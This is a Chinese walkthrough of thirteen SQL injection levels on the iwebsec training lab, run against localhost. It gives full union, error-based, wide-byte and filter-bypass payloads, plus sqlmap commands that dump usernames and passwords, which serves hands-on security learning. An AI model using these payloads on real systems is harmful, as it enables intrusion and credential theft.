绕过waf mysql爆库_iwebsec刷题记录-SQL注入漏洞

210169

被推荐了这个web平台,感觉挺适合新手的,网上搜了下没看到有人写wp,这里本入门萌新来稍微整理下自己解题的过程

210169

SQL注入漏洞

01-数字型注入

http://localhost:32774/sqli/01.php?id=1'

发现有报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

猜测语句

WHERE id=$id LIMIT 0,1

验证一下

210169

210169

查列数

210169

210169查显示位

210169

爆库

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%20--+

210169

爆表

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%20--+

210169

爆列

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=database()%20and%20table_name=%27users%27)%20--+

210169

爆数据

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(concat(role,0x7e,username,0x3A,password,0x7e))%20from%20users)%20%20--+

210169

02-字符型注入

http://localhost:32774/sqli/02.php?id=1' or '1=2–'

报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’ or ’1=2–’’ LIMIT 0,1’ at line 1

看源码,发现SET NAMES gbk猜测宽字节注入

尝试

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,3 --+

210169

爆库

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

210169

爆表

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

210169

爆数据

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) --+

210169

这里除了前面通过宽字节来让mysql以为是个汉字绕过检查其他和第一题一样

03-bool注入

http://localhost:32774/sqli/03.php?id=1 and 1=2 --+

210169

210169

检测出来存在是布尔注入就懒得写jio本了,sqlmap直接梭

爆库

sqlmap -u http://localhost:32774/sqli/03.php?id=1 --current-db

210169

爆表

sqlmap -u http://localhost:32774/sqli/03.php?id=1 -D iwebsec --tables

210169

爆列

sqlmap -u http://localhost:32774/sqli/03.php?id=1 -D iwebsec -T users --columns

210169

爆数据

sqlmap -u http://localhost:32774/sqli/03.php?id=1 -D iwebsec -T users -C role,username,password --dump

210169

04-sleep注入

自己的脚本真的很丑,这里就不丢脸了

时间盲注爆库

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 --current-db

210169

爆表

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 -D iwebsec --tables

210169

爆列

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 -D iwebsec -T user --columns

210169

爆数据

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 -D iwebsec -T user -C id,password,username --dump

210169

05-updatexml注入

这题限制条件没弄好,用第一题的payload都能跑

但还是用题目的预期过一遍

and (updatexml(1,concat(0x7e,(select version()),0x7e),1))

先检验

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1))

存在注入,并使用updatexml函数注入

爆库

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1))

210169

爆表

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select (select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e),1))

210169

爆列

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select (select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')),0x7e),1))

210169

爆数据

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select (select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)),0x7e),1))

210169

06-宽字节注入

这题看题目就是宽字节,和之前第二题的做法重了,就换个方法,用sqlmap过一遍

这里需要知道的是直接

sqlmap -u http://localhost:32774/sqli/06.php?id=1

是找不到注入的,需要

sqlmap -u http://localhost:32774/sqli/06.php?id=1%df%27

或者使用tamper=”unmagicquotes”

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" --current-db

爆库

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" --current-db

爆表

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" -D iwebsec --tables

爆列

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" -D iwebsec -T users --colums

爆数据

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" -D iwebsec -T users -C role,username,password --dump

210169

07-空格过滤绕过

看题可知过滤了空格,这里我选择用括号让参数之间没有空格

http://localhost:32774/sqli/07.php?id=(0)or(1)=(1)

210169

查显示位

http://localhost:32774/sqli/07.php?id=(0)%0aunion%0aselect(1),(2),(3)

210169

爆库

http://localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata)

210169

爆表

localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database())

210169

爆列

http://localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0awhere%0atable_schema=database()and(table_name='users'))

210169

爆数据

http://localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(concat(role,0x7e,username,0x3A,password,0x7e))%0Afrom%0Ausers)

210169

08-大小写过滤绕过

常规测试后发现测试点在select上,根据题目只要对select进行大小写变换就行

显示位

210169

210169

爆库

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,group_concat(schema_name) from information_schema.schemata--+

210169

爆表

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,(Select group_concat(table_name) from information_schema.tables where table_schema=database())--+

210169

爆列

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')--+

210169

爆数据

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,(Select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)--+

210169

09-双写关键字绕过

210169

确认存在注入

发现过滤了select字符串,题目可得需要用双写来绕过,试一下

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,3--+

绕过的原因

因为在匹配到”se”+”select”+”lect”中的select后替换为空后前后拼接起来就是select成功的绕过唯一一次检验

爆库

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,group_concat(schema_name) from information_schema.schemata--+

210169

爆表

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,(seselectlect group_concat(table_name) from information_schema.tables where table_schema=database())--+

210169

爆列

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,(seselectlect group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')--+

210169

爆数据

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,(seselectlect group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)--+

210169

10-双重url编码绕过

根据题目可以猜到源码对$id进行了一次urldecode,在测试的过程中还能发现对select进行了waf,所以只需要根据第八题的payload进行两次urlencode即可

脚本

a = ""

print urllib.quote(urllib.quote(a))

本以为是这样的

结果完全没派上用场,第八题的语句完全照搬都能跑得通

210169

但出于对题目的尊重还是用双重url编码绕过一下吧

爆库

原句

1 union Select 1,2,group_concat(schema_name) from information_schema.schemata#

编码后

1%2520union%2520Select%25201%252C2%252Cgroup_concat%2528schema_name%2529%2520from%2520information_schema.schemata%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252Cgroup_concat%2528schema_name%2529%2520from%2520information_schema.schemata%2523

210169

爆表

原句

1 union Select 1,2,(Select group_concat(table_name) from information_schema.tables where table_schema=database())#

编码后

1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528table_name%2529%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2529%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528table_name%2529%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2529%2523

210169

爆列

原句

1 union Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')#

编码后

1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528column_name%2529%2520from%2520information_schema.columns%2520where%2520table_schema%2520%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2529%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528column_name%2529%2520from%2520information_schema.columns%2520where%2520table_schema%2520%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2529%2523

210169

爆数据

原句

1 union Select 1,2,(Select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) #

编码后

1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528concat%2528role%252C0x7e%252Cusername%252C0x3A%252Cpassword%252C0x7e%2529%2529%2520from%2520users%2529%2520%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528concat%2528role%252C0x7e%252Cusername%252C0x3A%252Cpassword%252C0x7e%2529%2529%2520from%2520users%2529%2520%2523

210169

11-十六进制绕过

先按正常步骤去做

查显示位

http://localhost:32774/sqli/11.php?id=1%20union%20select%201,2,3--+

爆库

localhost:32774/sqli/11.php?id=1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

爆表

localhost:32774/sqli/11.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

查列的时候问题就来了,发现引号被过滤了

210169

这里就考虑到使用user的十六进制绕过限制

210169

爆列

http://localhost:32774/sqli/11.php?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name=0x75736572)--+

210169

爆数据

http://localhost:32774/sqli/11.php?id=1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from user) --+

210169

12-等价函数替换过滤绕过

简单尝试后可知对等号进行了waf,那么爆库的语句还是正常的

http://localhost:32774/sqli/12.php?id=1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

这里就根据题目,使用与等号等价的函数进行替换,这里我选择用like,因为如果没有使用百分号,like子句与等号的效果是一样的

爆表

http://localhost:32774/sqli/12.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema like database())--+

爆列

http://localhost:32774/sqli/12.php?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 'users')--+

210169

爆数据

http://localhost:32774/sqli/12.php?id=1 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) --+

13-二次注入

这题其实挺简单的,简单的整理下流程

1.注册用户,输入username,password,email

2.找回密码,输入存在的邮箱即可返回用户名和密码

那么问题来了,这是一道注入题,从注入的角度来说应该是在username放入查询语句再通过找回密码来执行

但由于我很懒,我选择直接用万能密码法

210169

210169

这样就会使查询语句查的是admin而不是admin'#

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/550061.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Vue】组件的基础与组件间通信

转载:https://segmentfault.com/a/1190000016409329 Vue.js 最核心的功能就是组件(Component),从组件的构建、注册到组件间通信,Vue 2.x 提供了更多方式,让我们更灵活地使用组件来实现不同需求。 一、构建组…

设计模式的功力长了!

今天醒来后,感觉理解了原来比较复杂的一些设计模式,很好,就像小时候感觉长高一样。学习设计模式有一年多了。进步需要时间!

java 验证码校验_JavaWeb验证码校验功能代码实例

后台生成验证码工具方法/** 设置图片的背景色*/public static void setBackGround(Graphics g, int WIDTH, int HEIGHT) {// 设置颜色g.setColor(Color.WHITE);// 填充区域g.fillRect(0, 0, WIDTH, HEIGHT);}/** 设置图片的边框*/public static void setBorder(Graphics g, int…

CSDN登陆校验码模式识别程序

下班后,吃饭前快速写了这么一个东西,以证明图片验证码的脆弱。防君子,不防XX。本来应该使用HTTP协议直接从CSDN的登陆页面DOWN校验图片的,因为时间仓促,所以没有仔细设计。只是做一个示例,还要麻烦大家手工…

关于异性朋友

听到别人在问一个问题:“可是你在大学里又有几个很要好的女性朋友?”   想到自己,却是一个没有。奇怪啊,我虽然木讷,但还不到白痴的地步,怎么会一个没有呢?思讨一下,明白了&#…

java全文检索工具_全文检索工具elasticsearch:第三章: Java程序中的应用

搭建模块创建二个项目gmall-list-service的appliction.properties:server.port8073spring.datasource.urljdbc:mysql://localhost:3306/gmall?characterEncodingUTF-8spring.datasource.usernamerootspring.datasource.passwordrootmybatis.configuration.map-underscore-to-c…

初探机器学习之使用百度EasyDL定制化模型

一、Why 定制化模型 一般来说,各大云服务厂商只会提供一些最常见通用的AI服务,针对具体场景的AI应用则需要在云服务厂商提供的服务之上进行定制。例如,通常的图像识别只能做到分析照片的主题内容,而我的需求是给定指定场景的图片&…

Microsoft SQL Server Desktop Engine安装过程中遇到的问题(2)

今天下午没课,又在玩电脑了,想起昨天没解决的问题,心里有点不爽,遇到问题就要解决嘛^_^。 我把昨天装的study实例卸载了,仔细研究了一下自述文件,按照里面的说明,我在C盘根目录新建了一个名为 M…

微享:快速分享网页到新浪微博

分享到新浪微博 *:博客园的编辑程序会自动给javascript的链接加上前缀,使得链接错误。版本:1.0 简介: 书签栏工具,javascript代码,用于分享网页内容到新浪微博。 安装:Firefox,safa…

java重命名package_AndroidStudio怎么重命名java目录下的包名(如cn.zsn.app)

【声明:】本文是作者(蘑菇v5)原创,版权归作者 蘑菇v5所有,侵权必究。本文首发在简书。如若转发,请注明作者和来源地址!未经授权,严禁私自转载!区分包名和applicationid的区别:这里的…

java in thread main_JAVA报错:Exception in thread main……求帮助?

问题描述:题目要求:(1)创建MaxArray类:声明1个一维数组的成员变量,例如:int array[ ]; //一维数组设置有参构造方法,如:MaxArray(int n){ …… } //有参构造方法,为成员变量创建长为n的一维数组…

[ZZ]MVC设计模式

1 前言   用户界面,特别是图形用户界面,承担着向用户显示问题模型和与用户进行操作和I/O交互的作用。用户希望保持交互操作界面的相对稳定,但更希 望根据需要改变和调整显示的内容和形式。例如,要求支持不同的界面标准或得到不同…

2019.7.25

T1.匹配 一看就是KMP的嘛,但是忘了。 啊,要背模板的啦! 啊?!暴力72分?!?!?! Get! 正解就是一般的KMP,把a串与b串接起来&#xf…

gentoo安装记录[20050216]

原作者: * 20050216: 我明天 (17 号) 要去武汉陪 gf 几天, 顺便找找工作 (如果你有武汉的工作信息, 记得一定给我发信或者直接联系我! 非常非常感谢先!!), 可能有几天上不来了, 所以赶紧把这帖子搞定啦! 大家有啥想法/意见的就跟帖提, 我回来改 * 20050215: 完成内核安装/内核…

注册Windows Phone Marketplace经验

简介 经过漫长漫长的等待以后,终于注册成功Windows Phone Marketplace,把经验分享一下。 登记注册 打开https://windowsphone.create.msdn.com/Register/ ,使用live id(msn id)登陆,然后按照向导一步步注册…

iOS应用日志:开始编写日志组件与异常日志

经营你的iOS应用日志(一):开始编写日志组件 对于那些做后端开发的工程师来说,看LOG解Bug应该是理所当然的事,但我接触到的移动应用开发的工程师里面,很多人并没有这个意识,查Bug时总是一遍一遍的…

java代码情书_程序员们的爱情表白书

下面看看我们程序员是如何用自己的语言说出爱你。就算闷呆,也要闷呆得很性感。java程序员的情书我能抽象出整个世界...但是我不能抽象出你...因为你在我心中是那么的具体.&#xff0…

motorola 企业移动解决方案

(一)moto数据采集解决方案 数据采集和查询,可随时随地记录并传输各种形式的数据 安全便捷接入企业数据库,实现数据前后台无缝整合 终端小巧,方便携带;快速、低成本的实现高效移动远程管理 (二&a…

使用乱序标签来控制HTML的输出效果

在HTML的元素中,有一个比较特殊的元素form。我们用它来收集表单数据并提交给服务器,并且理论上说来它是没有任何的UI被呈现的。当然如果我们在body元素后紧跟一个form,这样一来似乎看不出来有什么UI呈现的问题,可是当form存在于别…

杭电2019多校第一场,Problem I,String 2019

题目描述 Tom has a string containing only lowercase letters. He wants to choose a subsequence of the string whose length is k and lexicographical order is the smallest. Its simple and he solved it with ease.But Jerry, who likes to play with Tom, tells him …